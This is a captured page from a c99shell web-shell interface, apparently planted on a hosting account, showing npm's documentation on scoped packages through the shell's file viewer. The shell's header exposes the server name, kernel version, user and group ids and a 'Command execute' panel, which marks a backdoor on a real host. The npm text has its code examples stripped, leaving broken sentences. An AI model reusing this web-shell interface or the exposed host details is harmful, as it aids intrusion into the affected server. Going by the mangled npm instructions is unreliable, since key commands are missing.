Software: Apache. PHP/7.3.33 uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) Safe-mode: OFF (not secure) /opt/alt/alt-nodejs12/root/usr/lib/node_modules/npm/docs/public/using-npm/scope/ drwxr-xr-x |
Viewing file: Select action/file-type: scopeScoped packagesDescriptionAll npm packages have a name. Some package names also have a scope. A scope
follows the usual rules for package names (URL-safe characters, no leading dots
or underscores). When used in package names, scopes are preceded by an
Scopes are a way of grouping related packages together, and also affect a few things about the way npm treats the package. Each npm user/organization has their own scope, and only you can add packages in your scope. This means you don't have to worry about someone taking your package name ahead of you. Thus it is also a good way to signal official packages for organizations. Scoped packages can be published and installed as of Installing scoped packagesScoped packages are installed to a sub-folder of the regular installation
folder, e.g. if your other packages are installed in A scoped package is installed by referencing it by name, preceded by an
Or in
Note that if the Requiring scoped packagesBecause scoped packages are installed into a scope folder, you have to include the name of the scope when requiring them in your code, e.g.
There is nothing special about the way Node treats scope folders. This
simply requires the Publishing scoped packagesScoped packages can be published from the CLI as of (As of 2015-04-19, and with npm 2.0 or better, the primary npm registry does support scoped packages.) If you wish, you may associate a scope with a registry; see below. Publishing public scoped packages to the primary npm registryTo publish a public scoped package, you must specify Publishing private scoped packages to the npm registryTo publish a private scoped package to the npm registry, you must have an npm Private Modules account. You can then publish the module with Associating a scope with a registryScopes can be associated with a separate registry. This allows you to seamlessly use a mix of packages from the primary npm registry and one or more private registries, such as npm Enterprise. You can associate a scope with a registry at login, e.g.
Scopes have a many-to-one relationship with registries: one registry can host multiple scopes, but a scope only ever points to one registry. You can also associate a scope with a registry using
Once a scope is associated with a registry, any See also👀 Found a typo? Let us know! The current stable version of npm is here. To upgrade, run: To report bugs or submit feature requests for the docs, please post here. Submit npm issues here. |
:: Command execute :: | |
--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.005 ]-- |